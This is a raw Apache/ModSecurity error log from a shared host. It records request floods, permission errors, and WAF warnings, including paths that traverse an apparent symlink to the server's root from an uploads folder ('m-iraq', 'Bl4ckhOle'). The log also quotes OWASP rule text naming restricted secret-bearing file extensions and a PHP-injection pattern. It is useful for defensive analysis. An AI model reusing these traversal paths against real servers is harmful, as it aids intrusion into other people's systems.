[Fri Jul 17 09:10:35.200519 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:35.281887 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:35.449783 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:35.466022 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:35.529537 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:35.616260 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:35.667651 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:35.776997 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:35.943540 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:35.968337 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-default.conf"] [unique_id "almkM41dLClkUfK_dfHnFwAAAAI"]
[Fri Jul 17 09:10:35.968788 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-default.conf"] [unique_id "almkM41dLClkUfK_dfHnFwAAAAI"]
[Fri Jul 17 09:10:35.987590 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/httpd-default.conf"] [unique_id "almkM41dLClkUfK_dfHnFwAAAAI"]
[Fri Jul 17 09:10:36.028814 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:36.116188 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:36.179381 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:36.198065 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:36.285725 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:36.313082 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:36.486374 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:36.552460 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:36.637208 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:36.772151 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:36.797655 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:36.856895 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:36.955943 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.000126 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:37.037010 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.106355 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:37.116368 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.198330 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.206839 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/proxy-html.conf"] [unique_id "almkNQRRrtuZqNDDSqWyNwAAABo"]
[Fri Jul 17 09:10:37.207308 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/proxy-html.conf"] [unique_id "almkNQRRrtuZqNDDSqWyNwAAABo"]
[Fri Jul 17 09:10:37.221743 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24/docs/conf/extra/proxy-html.conf"] [unique_id "almkNQRRrtuZqNDDSqWyNwAAABo"]
[Fri Jul 17 09:10:37.278546 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.360277 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.408811 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:37.411992 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.440923 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.510906 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:37.523120 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.603025 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.610870 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:37.712813 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:37.813766 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:37.844737 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:37.976099 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:38.003286 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.049090 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.061964 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.062552 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.073070 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.084805 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.165219 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.342035 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.424550 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.448139 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:38.506034 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.586511 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.667088 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/kmalloc-4k/min_partial
[Fri Jul 17 09:10:38.671431 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.751960 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.839616 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:38.919574 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:39.055940 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:39.089843 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:39.140819 2026] [security2:error] [pid 2030955:tid 2030955] [client 57.141.18.73:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory12/subsystem/devices/memory67/node0/memory22/"] [unique_id "almkN_wooI4qY7Jg93pX0gAAABM"]
[Fri Jul 17 09:10:39.140854 2026] [security2:error] [pid 2030955:tid 2030955] [client 57.141.18.73:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory12/subsystem/devices/memory67/node0/memory22/"] [unique_id "almkN_wooI4qY7Jg93pX0gAAABM"]
[Fri Jul 17 09:10:39.295495 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkN-jME1mgqYZ5O94ofAAAAAE"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:10:39.295530 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkN-jME1mgqYZ5O94ofAAAAAE"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:10:39.506028 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:40.223718 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkOARRrtuZqNDDSqWyPQAAABo"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:10:40.223769 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkOARRrtuZqNDDSqWyPQAAABo"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:10:40.939016 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:41.041790 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/input5/uniq"] [unique_id "almkOSRF0UOO1RzB5_8wUgAAAA4"]
[Fri Jul 17 09:10:41.041823 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/input5/uniq"] [unique_id "almkOSRF0UOO1RzB5_8wUgAAAA4"]
[Fri Jul 17 09:10:41.051558 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/cpu0/driver/uevent
[Fri Jul 17 09:10:41.145476 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/node0/cpu3/driver/uevent
[Fri Jul 17 09:10:41.145704 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:41.202142 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:49138] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:41.247520 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:41.623975 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:35812] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:41.761512 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:42.123309 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:42.171767 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:42.888548 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:43.177659 2026] [security2:error] [pid 2013830:tid 2013830] [client 143.14.6.173:0] ModSecurity: Warning. Pattern match "(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\"|'))" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "503"] [id "933210"] [msg "PHP Injection Attack: Variable Function Call Found"] [data "Matched Data: [T] (1) found within REQUEST_FILENAME: /nccp/public/storage/post/pdfs/2025 -circular [T] (1).pdf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/storage/post/pdfs/2025  -circular [T] (1).pdf"] [unique_id "almkOwRRrtuZqNDDSqWyQQAAABo"]
[Fri Jul 17 09:10:43.178112 2026] [security2:error] [pid 2013830:tid 2013830] [client 143.14.6.173:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/storage/post/pdfs/2025  -circular [T] (1).pdf"] [unique_id "almkOwRRrtuZqNDDSqWyQQAAABo"]
[Fri Jul 17 09:10:43.227249 2026] [security2:error] [pid 2013830:tid 2013830] [client 143.14.6.173:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/storage/post/pdfs/2025  -circular [T] (1).pdf"] [unique_id "almkOwRRrtuZqNDDSqWyQQAAABo"]
[Fri Jul 17 09:10:43.607041 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:43.667400 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:35914] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:43.809330 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:43.908073 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:44.014528 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:44.334511 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:44.518226 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:44.725952 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu2/driver/unbind
[Fri Jul 17 09:10:45.037423 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:45.154513 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:45.257705 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:45.405689 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:45.708345 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:45.988563 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:47.957896 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:47.961543 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:47.996339 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:01/firmware_node/physical_node1/drvctl
[Fri Jul 17 09:10:48.011791 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:48.126331 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:48.168284 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:48.198171 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:48.401564 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:48.480425 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:48.603609 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:48.604652 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:02/firmware_node/physical_node/subsystem/"] [unique_id "almkQDsMb3am0TgkjETdBwAAAAo"]
[Fri Jul 17 09:10:48.604677 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:02/firmware_node/physical_node/subsystem/"] [unique_id "almkQDsMb3am0TgkjETdBwAAAAo"]
[Fri Jul 17 09:10:48.643735 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:49.528246 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:49.705534 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
